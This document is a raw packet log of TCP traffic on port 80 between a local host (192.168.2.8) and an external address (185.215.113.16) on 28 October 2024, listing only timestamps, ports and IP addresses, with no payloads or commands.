Oct 28, 2024 07:18:47.840503931 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840513945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840537071 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840550900 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840605021 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840636969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840647936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840658903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840678930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840691090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840702057 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840713024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840713024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840727091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840733051 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840759039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840775967 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.844706059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853425980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853441000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853458881 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853470087 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853482008 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853492975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853521109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853542089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853554010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853555918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853564024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853576899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853621960 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853668928 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853708029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853719950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853729963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853740931 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853751898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853763103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853782892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853782892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853794098 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853813887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853825092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853838921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853852034 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853862047 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853878021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853889942 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853897095 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853897095 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853902102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853913069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853929043 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853934050 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853939056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853974104 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853974104 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.853977919 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.853987932 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854047060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854052067 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854063988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854074955 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854085922 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854115009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854115963 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854168892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854216099 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854218960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854231119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854259968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854271889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854283094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854285955 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854300022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854310036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854321003 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854340076 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.854377031 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854387999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.854427099 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.873872042 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.873889923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.873900890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.873913050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.873924971 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.873934984 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.874008894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.874021053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.874032021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.874075890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.874075890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.874075890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.874075890 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875477076 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875577927 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875587940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875597954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875618935 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875629902 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875643015 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875655890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875698090 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875698090 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875698090 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875708103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875719070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875730991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875744104 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875755072 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875775099 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875780106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875790119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875802994 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875802994 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875813961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875850916 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875852108 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875853062 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875864029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875873089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875891924 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875896931 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875910044 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875956059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875956059 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875956059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.875967979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875978947 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.875991106 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876008987 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876020908 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876029968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876050949 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876050949 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876063108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876074076 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876085043 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876087904 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876116991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876121998 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876121998 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876128912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876140118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876176119 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876176119 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876187086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876235962 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876293898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876305103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876316071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876339912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876352072 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876363039 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876384974 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876384974 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876384974 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876413107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876430035 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876441002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876451969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876465082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876475096 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876477003 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876513004 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876513004 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876601934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876619101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876631021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876641989 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876660109 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876672029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876678944 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876678944 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876681089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876693964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876703024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876723051 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876723051 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876734018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876744032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876765966 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876774073 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876800060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.876842022 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876852036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876862049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876867056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.876986980 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.902245045 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.918028116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.918046951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.918060064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.918128014 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.918956995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.919064999 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.919122934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959400892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959443092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959455967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959467888 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959481001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959511042 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959562063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959573984 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959587097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959599018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959613085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959625959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959661961 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959673882 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959752083 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959763050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959767103 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959768057 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959768057 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959768057 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959768057 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959774017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959785938 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959796906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959809065 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959820032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.959850073 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959850073 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959850073 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.959861040 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972593069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972615957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972628117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972640991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972691059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972696066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972733021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972743988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972755909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972814083 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972825050 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972836018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972847939 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972884893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972898006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972906113 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972906113 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972906113 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972907066 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972907066 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972968102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972970963 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.972979069 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.972990036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973015070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973027945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973037958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973050117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973057985 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973057985 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973061085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973072052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973107100 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973141909 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973144054 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973144054 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973153114 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973179102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973212004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973212957 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973212957 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973222017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973232031 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973253965 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973274946 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973299026 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973345041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973356009 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973412991 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973416090 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973428011 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973438025 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973472118 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973472118 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.973491907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973500967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.973546982 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.974736929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.974749088 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.974760056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.974771023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.974834919 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.992768049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.992790937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.992800951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.992845058 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.992856979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.992975950 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.992975950 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.993069887 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993083000 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993093014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993158102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993163109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.993163109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.993170023 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993182898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.993232965 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994766951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994785070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994796038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994807959 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994820118 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994829893 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994837046 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994858980 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994869947 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994884014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994910002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994921923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994932890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994945049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994959116 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994972944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994983912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.994992971 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994992971 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994992971 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994992971 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.994993925 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995007038 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995023966 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.995053053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995064974 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995090961 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.995090961 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.995107889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995120049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995147943 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.995179892 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995191097 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995224953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.995233059 CET	49717	80	192.168.2.8	185.215.113.16
